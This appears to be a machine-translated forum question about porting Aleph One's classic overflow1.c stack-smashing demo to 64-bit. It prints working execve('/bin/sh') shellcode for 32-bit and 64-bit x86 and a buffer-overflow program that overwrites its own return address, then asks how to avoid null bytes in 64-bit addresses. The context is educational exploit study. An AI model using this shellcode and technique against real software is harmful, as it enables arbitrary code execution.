overflow1.c
Aleph One による Smashing the Stack for Fun and Profit の論文から実行しようとしています。
オリジナルのoverflow1.cコード:
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
このコードは、32 ビット システムで正常に動作します。
64 ビット システムで動作するようにコードを変更しました。
char shellcode[] = "\x48\x31\xc0" // xor %rax,%rax
"\x99" // cltd
"\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68" // mov $0x68732f6e69622fff,%rdi
"\xb0\x3b" // mov $0x3b,%al
"\x48\xc1\xef\x08" // shr $0x8,%rdi
"\x57" // push %rdi
"\x48\x89\xe7" // mov %rsp,%rdi
"\x57" // push %rdi
"\x52" // push %rdx
"\x48\x89\xe6" // mov %rsp,%rsi
"\x0f\x05"; // syscall
char large_string[144];
int main(void) {
char buffer[96];
int i;
long int *long_ptr = (long int *) large_string;
printf("0x%x", buffer);
for (i = 0; i < 18; i++)
*(long_ptr + i) = (long int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
プログラムはシェルコードのみをロードし、リターン アドレスを のアドレスで上書きしますbuffer
。コードは想定どおりに機能します。
ただし、ここで問題が発生します。
buffer
64 ビット システムの のアドレスが であるとしましょう。0x7fffffffdc10
それlong int
を にキャストし0x00007fffffffdc10
ます。これが に書き込まれるlarge_string
と、00
は null として機能し、文字列を終了します。どうすればこれを克服できますか?
64 ビット システムには 4 バイト アドレスではなく 8 バイト アドレスがあるため、アドレスを整数だけに型キャストすることはできません。「0x00」ヌル文字をエスケープするにはどうすればよいですか?